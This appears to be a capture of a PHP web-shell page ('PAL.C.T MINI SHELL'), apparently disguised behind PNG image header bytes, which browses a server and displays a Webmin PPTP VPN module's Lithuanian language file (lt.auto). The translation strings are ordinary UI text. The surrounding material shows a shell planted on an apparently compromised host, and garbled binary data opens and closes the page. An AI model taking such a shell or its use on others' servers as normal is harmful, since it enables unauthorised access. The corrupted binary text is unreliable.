php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/pptp-server/lang/
upload
files >> //usr/libexec/webmin/pptp-server/lang/lt.auto

index_title=PPTP VPN serveris
index_version=„PoPToP“ $1 versija
index_epptpd=„PoPToP“ PPTP serveris $1 nerastas jūsų sistemoje arba yra netinkama programa. Galbūt jis neįdiegtas, arba jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_econfig=Jūsų sistemoje nerastas PPTP serverio konfigūracijos failas $1. Galbūt jūsų <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_stop=Sustabdykite PPTP serverį
index_stopdesc=Spustelėkite šį mygtuką, norėdami išjungti vykdomą PPTP serverio procesą, kad nebūtų priimami nauji ryšiai. Esami VPN ryšiai vis tiek liks aktyvūs.
index_start=Paleiskite PPTP serverį
index_startdesc=Spustelėkite šį mygtuką, kad paleistumėte PPTP serverio procesą, kad jis galėtų priimti VPN ryšius iš klientų.
index_apply=Taikyti konfigūraciją
index_applydesc=Spustelėkite šį mygtuką, kad pritaikytumėte dabartines PPTP serverio parinktis, sustabdydami ir iš naujo paleisdami PPTP serverio procesą. PPP parinkčių ir PPP paskyrų pakeitimai visada bus taikomi visoms naujoms jungtims
index_return=modulio rodyklė
index_epppd=Jūsų sistemoje nėra įdiegta PPP serverio programa $1. PPTP priklauso nuo jo veikimo.

conf_title=PPTP serverio parinktys
conf_ecannot=Jums neleidžiama redaguoti PPTP serverio parinkčių
conf_header=PPTP serverio konfigūracija
conf_speed=PPP perdavimo sparta
conf_baud=bps
conf_listen=Klausykite pagal adresą
conf_all=Visi adresai
conf_localip=IP adresai serverio ryšio pabaigai
conf_remoteip=IP adresai, kuriuos reikia skirti klientams
conf_ipxnets=IPX tinklai skirti
conf_from=Iš
conf_to=į
conf_option=PPP parinkčių failas
conf_mode0=Visuotiniai nustatymai
conf_mode1=PPTP specifiniai nustatymai
conf_mode2=Pasirinktinis failas
conf_ipdesc=Abiejų diapazonų IP adresą galima įvesti atskirai (pvz., 192.168.1.1) arba kaip diapazonus (pvz., 192.168.2.32-64).
conf_err=Nepavyko išsaugoti serverio parinkčių
conf_espeed=Trūksta arba netinkama perdavimo sparta
conf_elisten=Trūksta arba netinkamas adresas, kurio klausytis
conf_eoption=Trūksta arba netinkamo atrodo pasirinktinio PPP parinkčių failas
conf_elocalip=„$1“ nėra galiojantis vietinis IP adresas ar diapazonas
conf_eremoteip=„$1“ nėra tinkamas nuotolinio IP adresas ar diapazonas
conf_efrom=Trūksta arba netinkamas IPX tinklas iš adreso
conf_eto=Trūksta arba netinkamas adresas IPX tinkle

options_title=PPP parinktys
options_ecannot=Jums neleidžiama redaguoti PPP parinkčių
options_desc0=Žemiau pateiktos PPP parinktys nuo $1 taikomos visoms įeinančioms jungtims, kurias gauna jūsų sistema, įskaitant jungiamiesiems modemams.
options_desc1=Žemiau esančios $1 PPP parinktys taikomos tik visoms PPTP jungtims.
options_desc2=Juos naudos visi nauji ryšiai, užmegzti išsaugojus šią formą.
options_header=PPP ryšio galimybės
options_proxyarp=Sukurti tarpinio serverio ARP įrašą?
options_lock=Užrakinti PTY įrenginio failą?
options_auth=Reikalauti autentifikacijos?
options_auth0=Ne, bet apsaugokite nukreiptus IP
options_auth1=Niekada
options_auth2=Visada
options_login=Taip pat atlikti unix autentifikavimą?
options_pap=PAP autentifikavimas
options_chap=CHAP autentifikavimas
options_req=Turi būti naudojamas
options_all=Gali būti naudojamas
options_ref=Negalima naudoti
options_name=Autentifikavimo serverio pavadinimas
options_hn=Tikrasis pagrindinio kompiuterio vardas
options_mtu=Maksimalus siunčiančio paketo dydis
options_mru=Maksimalus gaunamo paketo dydis
options_err=Nepavyko išsaugoti PPP parinkčių
options_emtu=Trūksta arba netinkamas didžiausias siunčiančio paketo dydis
options_emru=Trūksta arba netinkamas didžiausias gaunamo paketo dydis
options_ename=Nėra autentifikavimo serverio pavadinimo arba jis netinkamas
options_version=$1 PPPd versija
options_msdesc=Žemiau pateiktos parinktys įgalina MS-CHAP autentifikavimo metodą ir MPPE šifravimą, kuriuos pagal numatytuosius nustatymus naudoja „Windows VPN“ klientai. Tačiau MPPE reikia palaikyti tiek PPP demoną, tiek operacinės sistemos branduolį.
options_mschap=MS-CHAP autentifikavimas
options_mschap-v2=MS-CHAP 2 versijos autentifikavimas
options_chapms=MS-CHAP autentifikavimas
options_chapms-v2=MS-CHAP 2 versijos autentifikavimas

secrets_title=VPSP sąskaitos
secrets_ecannot=Jums neleidžiama redaguoti PPP paskyrų
secrets_return=indeksas
secrets_none=Dar nesukurtos PPP sąskaitos.
secrets_enopfile=Jūsų sistemoje nėra PPP slaptažodžių failo $1. Galbūt PPP neįdiegtas, arba <a href='$2'>modulio konfigūracija</a> yra neteisinga.
secrets_table=AAP sudaro $1 
secrets_user=Vartotojo vardas
secrets_ips=IP adresai
secrets_uany=JOKIŲ
secrets_sany=JOKIŲ
secrets_create=Sukurkite naują PPP sąskaitą.
secrets_desc=Šiame puslapyje išvardytos PPP sąskaitos yra paimtos iš failo $1, kuris naudojamas $3 autentifikavimui. Rodomos tik jūsų serverio $2 sąskaitos, o ne sąskaitos, skirtos užmegzti ryšius.
secrets_delete=Ištrinti pasirinktas PPP paskyras

edit_secret_etitle=Redaguoti PPP sąskaitą
edit_secret_ctitle=Sukurkite PPP sąskaitą
edit_secret_acc=PPP sąskaita
edit_secret_user=Vartotojo vardas
edit_secret_serv=Serveris
edit_secret_sany=Bet kokia
edit_secret_uany=Bet kokia
edit_secret_pass=Slaptažodis
edit_secret_none=Nė vienas
edit_secret_ffile=Iš bylos
edit_secret_leave=Palikite nepakeistą
edit_secret_setto=Nustatytas į
edit_secret_vaddr=Galiojantys adresai
edit_secret_aany=Leisk bet
edit_secret_anone=Neleisk nė vieno
edit_secret_alist=Leisti išvardyti ..
edit_secret_save=Sutaupyti
edit_secret_del=Ištrinti
edit_secret_return=sąskaitų sąrašas

save_secret_esave=Nepavyko išsaugoti paskyros
save_secret_enoip=„$1“ nėra teisingas adresas

stop_err=Nepavyko sustabdyti PPTP serverio
stop_egone=Daugiau nebėga
stop_ecannot=Jums neleidžiama sustabdyti PPTP serverio

start_err=Nepavyko paleisti PPTP serverio
start_ecannot=Jums neleidžiama paleisti PPTP serverio

apply_err=Nepavyko iš naujo paleisti PPTP serverio
apply_ecannot=Jums neleidžiama iš naujo paleisti PPTP serverio

conns_title=Aktyvūs ryšiai
conns_ecannot=Jums neleidžiama valdyti aktyvių ryšių
conns_desc=Šiame puslapyje pateikiami šiuo metu aktyvūs PPTP ryšiai su jūsų serveriu. Norėdami prievarta atjungti vieną, spustelėkite jo sąsajos pavadinimą.
conns_iface=PPP sąsaja
conns_client=Kliento adresas
conns_stime=Prisijungta nuo
conns_local=Serverio VPN adresas
conns_remote=Kliento VPN adresas
conns_none=Šiuo metu neatrodo, kad PPTP ryšiai būtų aktyvūs.
conns_unknown=Nežinoma
conns_user=Vartotojo vardas

disc_err=Nepavyko atsijungti
disc_egone=Ryšiai nebeveikia
disc_ekill=Procesas nebeveikia

log_secret_create=Sukurta VPSP sąskaita $1 
log_secret_modify=Modifikuota PPP sąskaita $1 
log_secret_delete=Ištrinta VPSP sąskaita $1 
log_deletes=Ištrintos $1 PPP sąskaitos
log_conf=Modifikuotos PPTP serverio parinktys
log_options=Modifikuotos PPP parinktys
log_disc=Atsijungęs klientas $1 
log_start=Paleistas PPTP serveris
log_stop=Sustabdytas PPTP serveris
log_apply=Taikoma PPTP serverio konfigūracija

acl_conf=Ar galima redaguoti konfigūraciją?
acl_options=Ar galite redaguoti parinktis?
acl_secrets=Ar galite tvarkyti PPTP paskyras?
acl_conns=Ar galite peržiūrėti ryšius?
acl_stop=Ar galima sustabdyti ir paleisti PPTP serverį?
acl_apply=Ar galima pritaikyti konfigūraciją?
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`